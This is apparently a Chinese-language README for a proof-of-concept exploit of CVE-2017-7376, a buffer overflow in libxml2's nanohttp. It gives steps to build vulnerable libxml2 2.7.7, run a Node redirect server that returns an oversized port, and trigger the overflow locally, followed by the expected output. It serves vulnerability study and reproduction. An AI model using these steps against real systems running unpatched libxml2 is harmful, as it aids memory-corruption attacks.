针对CVE-2017-7376的示例利用程序
下载此仓库和一个易受攻击的libxml2版本,例如v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
为了让利用成功更明显,在libxml2中添加检测缓冲区溢出的代码。如果你有其他可见性手段(例如应用程序崩溃),则不需要。
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
如果遇到以下错误:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
请将configure.in中的AM_C_PROTOTYPES替换为dnl AM_C_PROTOTYPES,例如:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
返回上一级目录
cd ..
此利用需要一个web服务器,该服务器响应一个重定向,指向一个端口号大于5位数且小于int32max(2147483648 = 2^32/2)的新URL。
启动服务器(需要Node JS且127.0.0.1:8080端口未被占用):
node http.js &
测试web服务器;应报告无效端口号2147426192:
wget localhost:8080
make
./run.sh
预期输出:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
此演示利用要求主程序执行xmlXIncludeProcess()才能到达libxml2中的有缺陷代码,这在许多实际实现中可能不太常见。但nanohttp.c的注释中提到它是一个“用于获取外部子集的最小化HTTP GET实现”,这可能提供了另一种利用路径。